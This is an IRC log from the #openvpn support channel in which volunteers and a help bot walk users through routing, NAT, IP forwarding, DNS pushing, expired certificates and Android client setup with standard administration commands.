05:35 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 252 seconds]
05:36 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
05:40 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
05:49 -!- novaflash is now known as novaflash_away
05:52 < Donks> Good Morning everyone, so I technically have openvpn running, service openvpn restart, shutting down openvpn   [ OK], starting open vpn [OK] , service --status-all, no openvpn, although netstat --listen reveals that 1194, which is the openvpn port is not listening, centos6.4 running openvpn 2.3.1-3.
05:52 < Donks> im curious as to why im not seeing it running, although it appears to be running.
05:52 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:06 < pppingme> Donks ps auxw | grep openvpn
06:08 -!- bisko [~bisko@77.70.26.115] has joined #openvpn
06:08 < pppingme> I assume it shows?
06:09 < Donks> standbye, im rebuilding dh
06:09 < pppingme> why?
06:12 < rob0> can't you run that in another shell? You shouldn't be doing easy-rsa/openssl stuff as root anyway.
06:12 < rob0> (and not on the server at all, for that matter)
06:14 < Donks> ok i receive 2 responses for ps auxw | grep openvpn
06:14 < Donks> root     23055  0.0  0.0 103236   832 pts/1    S+   07:07   0:00 grep openvpn
06:14 < Donks> jsut 1 rather
06:15 < Donks> rob0, why is it not good practice to do this as root?
06:16 < pppingme> whats in syslogs?
06:20 -!- bisko [~bisko@77.70.26.115] has quit [Quit: Textual IRC Client: www.textualapp.com]
06:22 < JAVACODER> plz give me an account of vpn for freedom !!
06:23 < JAVACODER> i living in iran
06:23 < rob0> Donks, well, that's a long story, but to cut it short, you should only do actual system administration tasks as root; things that NEED root privilege.
06:24 < Donks> fair enough, im just a hobbiest at best trying to learn what i can, appreciate your insight.
06:24 < nohitall> JAVACODER: this is supportchannel for openvpn software, not a vpn provider
06:25 < JAVACODER> nohitall: maybe anybody have a server for vpn account
06:26 < nohitall> JAVACODER: http://shells.red-pill.eu/
06:26 <@vpnHelper> Title: Free Shell Accounts :: the biggest list on the net - Rankings - All Sites (at shells.red-pill.eu)
06:27 < JAVACODER> nohitall: TNX dear ;)
06:28 < nohitall> uhm come to my shell provi
06:28 < nohitall> #anapnea
06:28 < nohitall> we provide help for ppl in iran
06:29 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Operation timed out]
06:32 < JAVACODER> nohitall: ppl what's mean ?
06:35 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:36 < nohitall> ppl=people sry
06:37 < JAVACODER> nohitall: ok tnx
06:47 < rob0> What does sry and tnx mean? :)
06:54 < JAVACODER> rob0 : sry==sorry & tnx ==thanks
07:06 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
07:08 -!- corehook__ [~corehook@2.133.63.126] has joined #openvpn
07:09 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 276 seconds]
07:09 < corehook__> Hi all! Guys i have trouble with route traffic after connection with openvpn to my openvpn server
07:09 < corehook__> i can ping server all interfaces but cant ping other IP in server network
07:09 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
07:10 < corehook__> server have 2 interfaces, eth0 : 10.0.0.60, eth1 : 178.89.X.X
07:10 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
07:10 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
07:10 < corehook__> 192.168.50.0/24 - vpn network
07:11 < corehook__> on server: iptables -t nat -A POSTROUTING -s 192.168.50.0/24 -j SNAT --to-source 10.0.0.60
07:12 < corehook__> да и хуй сним
07:12 -!- corehook__ [~corehook@2.133.63.126] has quit [Quit: Leaving]
07:17 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
07:34 -!- HyperGlide [~HyperGlid@110.185.144.81] has joined #openvpn
07:39 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
07:47 -!- gekko_ [~jjk@78.157.103.6] has quit [Ping timeout: 264 seconds]
07:50 -!- gekko_ [~jjk@78.157.103.6] has joined #openvpn
07:54 -!- gekko_ [~jjk@78.157.103.6] has quit [Read error: Connection reset by peer]
08:04 -!- cjs226 [~cjs226@99-42-101-192.lightspeed.austtx.sbcglobal.net] has joined #openvpn
08:17 -!- JAVACODER [~JAVACODER@2.190.45.170] has quit [Ping timeout: 264 seconds]
08:18 -!- JAVACODER [~JAVACODER@2.190.38.174] has joined #openvpn
08:24 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
08:28 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has quit [Quit: Donks]
08:43 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:49 -!- mattock_afk is now known as mattock
08:49 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
09:11 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
09:11 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Remote host closed the connection]
09:26 -!- takamich_ [~takamichi@217.23.15.212] has joined #openvpn
09:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
09:27 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
09:37 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Quit: Leaving]
09:41 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 276 seconds]
09:42 -!- vpopov [~happylife@dyn-32-201.fttbee.kis.ru] has joined #openvpn
10:00 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:00 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:01 -!- ThePortableInstr [~Sun@107.56.111.110] has left #openvpn ["Leaving"]
10:04 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Chicks dig it]
10:05 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
10:10 -!- i7c [~i7c@unaffiliated/i7c] has quit [Read error: Operation timed out]
10:17 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 246 seconds]
10:18 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
10:26 -!- JAVACODER [~JAVACODER@2.190.38.174] has quit [Ping timeout: 252 seconds]
10:33 -!- Pies [~Pies@314es.pl] has joined #openvpn
10:36 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:37 < Pies> hello, is there way to ignore expired server certificate?
10:39 < Aketzu> turn back clock
10:39 < Pies> no options for client config? :/
10:40 < Aketzu> why there even should be
10:43 < pekster> X509 certificates are time-sensitive. In the future, either renew your certs before they expire, or set longer expiration times (if you don't plan to renew them frequently or at all, just set them for something like 100 years and roll them when you want)
10:44 < Pies> pekster: yeah, this is definitely our fault
10:44 < Aketzu> been there, done that... it was somewhat facepalm to realise why n+1 devices suddenly lost connection :)
10:44 < pekster> I've had that happen before too (we changed notification systems, and the expirations didn't get in the new one.) It's a pain, but you tend not to forget that kind of thing again :)
10:44 < Pies> Aketzu: this is nasty solution... but you are right, problem is also nasty
10:45 < Aketzu> 5 years is a really short time
10:45 < pekster> Better your server than your CA; if it's just the server, issue a new one and be done with it
10:57 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:14 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
11:36 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 246 seconds]
11:38 -!- takamich_ [~takamichi@217.23.15.212] has quit [Ping timeout: 252 seconds]
11:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:42 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Remote host closed the connection]
11:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
11:57 -!- JAVACODER [~JAVACODER@2.190.46.225] has joined #openvpn
11:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:01 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
12:07 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k965.webspeed.dk] has joined #openvpn
12:25 -!- brad [~brad@ninja.so] has quit [Quit: No Ping reply in 150 seconds.]
12:26 -!- brad [~brad@ninja.so] has joined #openvpn
12:29 -!- brad [~brad@ninja.so] has quit [Client Quit]
12:29 -!- brad [~brad@ninja.so] has joined #openvpn
12:38 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Quit: Gone...]
12:38 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
12:41 -!- ad^2 [~ad2@c-98-254-201-1.hsd1.fl.comcast.net] has joined #openvpn
12:43 < ad^2> Hello. Does anyone have experience or have a solution for automating thousands of connections to the OpenVPN server?
12:45 <@ecrist> a shell script
12:45 < pekster> Be aware that under any real type of load, openvpn won't handle that many clients on a single instance since the encryption is occurring in userland. I've done a lab test with 1000 connections, but that was under no data channel load
12:46 < ad^2> I created multiple instances pinning each process to a differenct cpu core using taskset
12:46 < ad^2> Pekster, how did you establish 1000 connections?
12:47 < pekster> for i in $(seq 1 1000); do openvpn --config blah.conf; sleep .15; done
12:47 < ad^2> What about the routing of traffic?
12:47 -!- flobro [~silence@c-24-19-113-90.hsd1.wa.comcast.net] has joined #openvpn
12:47 < pekster> What about it?
12:48 < ad^2> You just established connections and did not send traffic through each connection?
12:49 < pekster> I loaded one of the connections up for fun, but without policy routing the "first" connection that made it into the routing table determined the source address used across the PtP link (I didn't try anything fancy like using unique PtP pairings for each of the 1k client instances -- that could have "fixed" that issue)
12:49 < pekster> No clue why you want 1k connectiosn from one client anyway; outside of stuff like my lab test to show it's possible, there's no point
12:50 < ad^2> I would prefer to test with 1k clients.
12:50 < ad^2> That's a little difficult.
12:50 < pekster> Then come up with your own variation of my lab test. It's not hard to add in the --ifconfig manually and use the iterator of the for loop to substitute in an IP
12:51 < pekster> Then each instance on the client has its own notion of the endpoints, keeping you from needing 999 policy routing rules
12:51 < ad^2> You mean create IP aliases on the same machine?
12:52 < pekster> (I'd actually suggest nesting of for loops so you can use something like --ifconfig 10.8.$i.$k 10.9.$i.$k as you launch them, but that's up to you
12:52 < pekster> No. And the notion of an "alias" is outdated and a stupid relic of the ancient ifconfig days when you named interfaces eth0:1. It's just a secondary address. There is no such thing as an "alias" address
12:53 < pekster> (and by ancient ifconfig I'm referring to the dead Linux stuff, not the BSD userland that actually has kept them up to date as the times changed)
12:56 < ad^2> haha.. Ok by ancient you mean the year 2007..
12:56 < ad^2> Thanks for the help.
12:56 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
12:58 < pekster> I mean the 2.2 kernel days
12:59 < pekster> If you're using a >=2.4-ish kernel, you should be using the iproute2 utilties. That would be `ip` `ss` and the like. Not `ifconfig` or `netstat` that use the old ioctl's
13:00 < pekster> netstat is officially deprecated by upstream net-utils, and the only reason ifocnfig isn't is becuaes no one has bothered to learn the proper tools for more than a decade now
13:00 < pekster> I think there's even a bot link for that here:
13:00 < pekster> !ifconfig_linux
13:00 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
13:04 < ad^2> I like change so I will take act on your recommendation. thx
13:27 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k965.webspeed.dk] has quit [Quit: Sleep]
13:29 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
13:31 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
13:32 < bonjurkes> Hello all, I am having a problem with vpn between my server and client. I am trying to redirect client's traffic via vpn but having DNS problems
13:33 < bonjurkes> And also seeing default gateway empty on my client (windows)
13:34 < pekster> bonjurkes,
13:34 < pekster> !redirect
13:34 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:34 <@vpnHelper> http://ircpimps.org/redirect.png
13:34 < pekster> The use of def1 (see: !def1) won't modify the default gateway
13:35 < bonjurkes> pekster thanks for showing a beginning path
13:35 -!- derPENGUIN [~viper@188.21.125.114] has joined #openvpn
13:36 < bonjurkes> !def1
13:36 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:36 < derPENGUIN> guten abend
13:36 < derPENGUIN> spricht man hier deutsch? Or should I use english?
13:38 < bonjurkes> !ipforward
13:38 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
13:38 < pekster> derPENGUIN, English, unless someone jumps in fluient in a better language for you
13:39 < bonjurkes> ipforward must be done on server right? not on client?
13:39 <@ecrist> english is what we use here in #openvpn
13:39 < bonjurkes> !linipforward
13:39 < derPENGUIN> I would need a little help with routing on my vpn-client. whenever i start the client, I loose the LAN connection to this mashine
13:39 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
13:40 < derPENGUIN> when I disable the vpn, the lan is working again
13:41 < bonjurkes> !nat
13:41 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
13:41 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:41 < bonjurkes> !linnat
13:41 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
13:42 < derPENGUIN> my config: lan-ip 192.168.5.165/26, gw 130, tun0 10.1.0.1
13:42 < derPENGUIN> and this is my routing table  (oh, i forgot: its linux)
13:42 < derPENGUIN> dest | router | mask | iface
13:43 < derPENGUIN> 10.1.0.1 | 0.0.0.0 255.255.255.255 | tun0
13:43 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 241 seconds]
13:44 < derPENGUIN> 192.168.5.128 | 10.1.0.1 | 255.255.255.192 | tun0
13:44 < bonjurkes> should I use dns server as 10.8.0.1 to use server's dns ses, or type them manually with push option?
13:44 < pekster> derPENGUIN, you should never loose access to the LAN you're attached to. Are you perhaps trying to reach something outside of 192.168.5.128/26 ?
13:45 < pekster> bonjurkes, if you want to pushdns, see !pushdns
13:45 < bonjurkes> !pushdns
13:45 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
13:45 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
13:45 < derPENGUIN> 192.168.5.128 | 0.0.0.0 | 255.255.255.192 | eth0
13:45 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
13:45 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
13:45 < derPENGUIN> 0.0.0.0 | 192.168.5.130 | 0.0.0.0 | eth0
13:46 < pekster> derPENGUIN: Right, but what system are you trying to reach that you can't after you connect?
13:49 < derPENGUIN> on the client runs a shoutcast transcoder, which streams over a router (192.168.5.130) to internet, this still works even with enabled vpn. bus a ping or ssh from exactly this same router to the 165 mashne fails, whenever vpn is startet
13:49 < derPENGUIN> after killing the vpn process all incoming connections are fine
13:49 < derPENGUIN> on 165 is no iptables active
13:50 < pekster> You want to both redirect your Internet connections and accept outside connections to your host?
13:50 < pekster> Do I have that right
13:51 -!- ^amanda_16 [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
13:51 < ^amanda_16> so the latest news is whenever vpn is connected I start to have dns issues, and my default gateway is still blank on client
13:51 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Ping timeout: 256 seconds]
13:52 -!- ^amanda_16 is now known as bonjurkes
13:52 < bonjurkes> that is annoying
13:52 < derPENGUIN> I want a) connect to a vpn server outside (this works so far) and b) still have access inside. The problem is, I am behind a unconfurable firewall, wich allow incoming traffic to my services, so I want do "mirror" my ports to that vpn server
13:52 < derPENGUIN> *configurable
13:54 < derPENGUIN> I mean, the firewall does NOT allow access to my services
13:54 < derPENGUIN> sorry
13:55 < derPENGUIN> so I want "export" my LAN to an extern server. I hope, this is the right way at all.
13:58 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Ping timeout: 240 seconds]
13:59 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
13:59 < bonjurkes> !vpn
13:59 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
14:00 < bonjurkes> !linnat
14:00 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
14:02 < derPENGUIN> oh, there is another question for iptables... the server runs on a vserver, what is the correct interface, vent0 or venet0:0?
14:02 -!- ad^2 [~ad2@c-98-254-201-1.hsd1.fl.comcast.net] has quit [Quit: Leaving]
14:02 < derPENGUIN> atm the vpn runs fine, but I have no forwarding yet
14:03 < pekster> derPENGUIN, OpenVZ? There are some issues with openvpn under OpenVZ because it's not proper virtulization. Some more info can be found here:
14:03 < pekster> !openvz
14:03 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
14:04 < pekster> derPENGUIN: Otherwise, if you want to reach your VPN client via the public IP on the VPN server, you need to do NAT on the VPN server to forward traffic to your server (so iptables DNAT rules) and then your VPN client needs to use --redirect-gateway so the return traffic goes across the link
14:05 < derPENGUIN> pekster, thanks for the vz.link, I will read it. And the DNAT-rules I tried, but the client has no rediect until now, ok, I will try this. Thank you so far.
14:07 < pekster> derPENGUIN: Right, so the issue with doing NAT like that from the server to a client is that your reply traffic from the client back to the outside sender (the real source) must go *back* through the VPN server. Easiest is to redirect all of the client Internet-bound traffic to the server. The only way around that is to set up policy routing on your client, and that's a bit more complex
14:08 < pekster> There's a helpful flowchart in !redirect that explains all the necessary steps
14:09 < derPENGUIN> !redirect
14:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:10 <@vpnHelper> http://ircpimps.org/redirect.png
14:10 < derPENGUIN> omg, I see, the night will be very long...
14:19 < bonjurkes> !ipforward
14:19 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
14:19 < bonjurkes> !linipforward
14:19 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
14:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:30 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Ping timeout: 260 seconds]
14:33 -!- derPENGUIN [~viper@188.21.125.114] has quit [Quit: Verlassend]
14:36 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
14:36 < bonjurkes> it worked! )))
14:40 -!- dym [~patrick@intrepid.openroot.de] has joined #openvpn
14:44 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has joined #openvpn
14:49 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Ping timeout: 252 seconds]
14:51 -!- vpopov [~happylife@dyn-32-201.fttbee.kis.ru] has quit [Ping timeout: 256 seconds]
14:54 -!- JAVACODER [~JAVACODER@2.190.46.225] has left #openvpn ["JAVACODER"]
14:55 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
14:58 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-gsigglbxhcfoceuq] has quit [Ping timeout: 260 seconds]
15:04 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 252 seconds]
15:09 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
15:13 < bonjurkes> is there a timeout setting on openvpn
15:14 < Aketzu> "ping"
15:15 < pekster> bonjurkes, --keepalive (which is a helper-directive, see the manpage) or --inactive depending on what tiemout you're wanting
15:15 < pekster> !keepalive
15:15 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
15:16 < bonjurkes> My openvpn is still connected and I am browsing on internet. Now i am switched back to my own connection, but vpn is still connected
15:16 < bonjurkes> i was supposed to have my server's ip now i am back to my own
15:16 < bonjurkes> and i was using my internet connection while this happened
15:29 < bonjurkes> how can I check the type of my vpn server?
15:31 < pekster> "check the type" ?
15:31 < MagisterQuis> tap vs tun, I'd assume.
15:31 < MagisterQuis> bonjurkes: Read the config file?
15:33 < bonjurkes> i meant, I am using server and client key files for connecting. so is it rsa?
15:34 < pekster> That would be TLS authentication (verses static key auth) and yes, that uses RSA keypairs signed by a CA to make them conform to the X.509 standard
15:35 < pekster> That's independent of the --mode value (it is valid to use --mode p2p with TLS auth, for instance.)
15:35 < pekster> If you want to know what mode the server is in, you'd need to look at the server config file for a --mode directive, or a helper-directive that implies it (like --server or --server-bridge)
15:35 < bonjurkes> I am trying to set up it on my android device. Wasn't sure about the type. The problem is android is asking for username and password, even though I am using keys only
15:35 < pekster> Then go look at your config file?
15:36 < pekster> Or, if you don't control it,
15:36 < pekster> !both
15:36 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
15:36 < pekster> You could probably assume it's --mode server, but I'd have no clue. There are many settings that must match exactly between peers, so the use of non-defaults for any of them is a problem, and we're not going to guess at the job your network team is paid to do
15:37 < bonjurkes> i am using default, didnt changed anything. I just need to choose proper authentication on my android
15:37 < bonjurkes> looks like it's rsa
15:37 < MagisterQuis> bonjurkes: Try one.  If it doesn't work, try the other.
15:37 < MagisterQuis> Also, talk to the netadmins.
15:38 <@plaisthos> bonjurkes: which android client?
15:38 -!- mattock is now known as mattock_afk
15:38 <@plaisthos> settings, connect or for Android
15:38 < bonjurkes> plaisthos I tried the default stock one but it keeps asking for username
15:38 < bonjurkes> so I will try openvpn client now
15:39 <@plaisthos> bonjurkes: we have three client with confusing similar names
15:39 < dym> Im trying to tunnel all trafic from a vpn client through my vpn server to the internet. do i need the tap mode, or will tun suffice?
15:39 <@plaisthos> "OpenVPN for Android", "OpenVPN Connect" and "OpenVPN Settings"
15:39 -!- vpopov [~happylife@dyn-32-201.fttbee.kis.ru] has joined #openvpn
15:40 < bonjurkes> openvpn connect is official one right?
15:40 <@plaisthos> yeah
15:40 <@plaisthos> openvpn for android is open source :)
15:41 -!- erry [erry@freenode/staff/erry] has left #openvpn []
15:41 < dym> I've configured my openvpn server and one client. connection works without problems and packets from the client are routed towards the server and i can see the packets there, but the replies wont reach the client. Im probably missing some routing configuration. where do i start the debug?
15:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:43 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:46 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Ping timeout: 260 seconds]
15:46 -!- vpopov [~happylife@dyn-32-201.fttbee.kis.ru] has quit [Ping timeout: 252 seconds]
15:46 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has joined #openvpn
15:46 < bonjurkes> that was smooth yay
15:47 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-eoytpbtwcwyfxgai] has joined #openvpn
15:51 < pekster> dym, tun is for routing (so use that.) Here's all the info you should need:
15:51 < pekster> !redirect
15:51 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:51 <@vpnHelper> http://ircpimps.org/redirect.png
15:51 < bonjurkes> !ipforward
15:51 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
15:52 < bonjurkes> !linipforward
15:52 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
15:52 < bonjurkes> !nat
15:52 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
15:52 < bonjurkes> !linnat
15:52 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
15:53 < bonjurkes> pekster thanks again
15:57 < dym> pekster: will look into it. it's all configured just like that - traffic is just not flowing back to the client
15:57 < pekster> firewall or lack of NAT (when using rfc1918 for VPN addressing) would be my offhand guesses
15:58 < pekster> If you followed the flowchart it gives you the exact reason
15:58 < dym> Flowchart? :D
15:59 < pekster> Look harder at the info you got above
16:00 < EugeneKay> !read
16:00 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
16:01 < dym> im an idiot
16:01 < dym> sorry
16:01 < dym> masquerading was misconfigured.
16:05 -!- bonjurkes [julia@2a01:7e00::f03c:91ff:feae:bdbf] has quit [Ping timeout: 240 seconds]
16:16 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
16:18 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:19 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
